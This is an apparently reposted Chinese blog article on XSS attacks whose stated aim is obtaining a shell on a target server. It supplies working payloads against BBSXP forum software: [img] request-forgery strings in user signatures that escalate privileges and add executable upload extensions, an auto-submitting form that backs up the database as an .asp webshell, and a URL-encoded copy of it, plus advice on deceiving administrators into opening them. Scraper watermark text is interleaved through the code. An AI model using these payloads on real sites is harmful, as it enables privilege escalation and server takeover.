所有文章均来自网络(除测试总结部分),如果涉及到版权问题请与我联系,我会及时删除~~~~

详解XSS跨站脚本攻击(转贴)

上一篇 / 下一篇  2007-01-15 09:35:31 / 个人分类:安全测试

 

 一、什么是XSS攻击

a6wk3_Z,L5nsQx0

  XSS又叫CSS(Cross Site scrīpt) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。

U+botJ3@;r2w0

  如何寻找XSS漏洞51Testing软件测试网]U |x'_(FXc n

  就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。51Testing软件测试网S l1M#m)_W_#u.J9x

  然后利用下面的技术得到一个shell.   如何利用

{Yy/Eu r2s$rqS0

  传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。

Q3S*|L^ q(LXA7x[0

二、来自内部的跨站攻击

^;X_/zvzAE0

  寻找跨站漏洞   51Testing软件测试网o3\d"`?%_Q

  如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个,这个时候,你只要闭合一个,代码就会执行,如:你在标题处输入,这样就可以弹出一个test的框。

#M:i8ZnN,X0b0

  如何利用

*|4| l%hL0

  我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.51Testing软件测试网vCj%vpR

  a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:51Testing软件测试网@Lld0|}

[img]http://127.0.0.1/bbsxp/admin_user.asp?51Testing软件测试网 c~ XM6[
menu=userok&username=linzi&membercode=5&userlife=1&posttopic=3&51Testing软件测试网4Iw {(R h{ b px
money=9&postrevert=0&savemoney=0&deltopic=1&reg;51Testing软件测试网:\*y"I/X{L
time=2005-9-1+1%3A1%3A1&experience=9&country=%D6%D0%B9%FA&&51Testing软件测试网}'eHI(ul
Submit=+%B8%FC+%D0%C2+[/img]51Testing软件测试网2C]N HgV0fAl

 51Testing软件测试网#K5C:ez$y^

  c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。

N+[2Get:Z}ax ]2j-J0

  d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示51Testing软件测试网2f)R[(QDKfU

  除此之外我们只要在个人签名里输入

1dO,m4mg"J2w0

 

,m_ ynu ul}0

[img]http://127.0.0.1/bbsxp/admin_setup.asp?51Testing软件测试网-W JM{8c(W
menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&51Testing软件测试网M-R:Jvqw;P
OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&51Testing软件测试网X\6F6c THD
MaxFile=102400&UpFileGenre=gif|jpg|asp%20|rar[/img]

N/JYRDcG0

 

fX{:n6W|L0

 

vvG ^v.@/m0

 同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.51Testing软件测试网 J&c7LTU;j{:n!P1RU,}

  上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的攻击,对于flash木马的制作,下面见哥们丰初的介绍。51Testing软件测试网_2@V"tZ+ueW

  再利用如下:

R2@AzbC#T'O9e0

  修改一下个人头像的url,输入代码如下:51Testing软件测试网'ad,U G[4D'A3|

 

C }~IU9? }0

admin_setup.asp? menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&51Testing软件测试网0}`mMlvF3DN
OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&
$pBP8bK e GH0MaxFile=102400&UpFileGenre=gif|jpg|php|rar51Testing软件测试网&[%v |GUyfP`4QK

 

.]5lqAdJ%\!b%yMx0

  再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。51Testing软件测试网 Iy| E'V!m{fj m-BM;t

  三、来自外部的跨站攻击

p,@Y+nMQ0

  有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。

^6l iI{0

  例:先上传一个文件linzi.txt,内容如下:

,N3{nb9n^7U0

 

;wG9P5vt/~x0

<body ōnload="javascrīpt:document.forms[0].submit()">51Testing软件测试网 \7qm:jm{xs9m,C U
<form action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post">
-f:GR+{4x3i-e0[0<input value="database/bbsxp.mdb" name="yl" >
6on.VH*kT&K)m4}J'A0<input value="database/shit.asp" name="bf" ></body></html>

@5R)L_n`0

 

$nF$i-dL N6T2x0

  上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下:

p9c'EV0w3A^0

  http://127.0.0.1/bbsxp/page2.asp?username=51Testing软件测试网&Q,y,w(F]:Jm,c(U

  我们构造备份跨站语句如下:51Testing软件测试网.y'W? n6IY!] l4v*O.W!P

http://127.0.0.1/bbsxp/page2.asp?username=51Testing软件测试网N2Rn S J/`#x8gh
%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72
^3J*uKb-?`?ng0%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D51Testing软件测试网!I @*w1t w8UN j
%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%6951Testing软件测试网3YD](C;H @(G7K6J%r
%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F
/Y?-uT9{0O0%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D51Testing软件测试网}E2d9g"B
%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F51Testing软件测试网D6Yh aJ&VAB!I
%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74
f9Uh?6gH9j {0%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%6551Testing软件测试网j:}B(Z{)F+o6ie%N
%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22
cT5@2d6Y3y4p5z0%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%6151Testing软件测试网!Lz1{*W&a }4{7Ad]
%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D51Testing软件测试网C'M.pY4H[3H-E
%6C%3E

s iyi9B ]0

 51Testing软件测试网r{?eF`Ca9v

 或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。

]BeVg0

  当管理员打开后,会自动备份得到一个shell.51Testing软件测试网~'J+A4prh)a%^9A

  四、XSS与其它技术的结何51Testing软件测试网%g5r'ag[

  从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。

$Z;C&n6cLd1J*[0

  总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!

Yj}LuM0

 

oWh r1bv!O"x%Hl0

源文档 <http://industry.ccidnet.com/art/1099/20051216/394357_4.html>51Testing软件测试网k@g(a.D


TAG: 安全性测试

 

评分:0

我来说两句

日历

« 2023-06-30  
    123
45678910
11121314151617
18192021222324
252627282930 

数据统计

  • 访问量: 42103
  • 日志数: 61
  • 建立时间: 2007-01-15
  • 更新时间: 2007-07-23

RSS订阅

Open Toolbar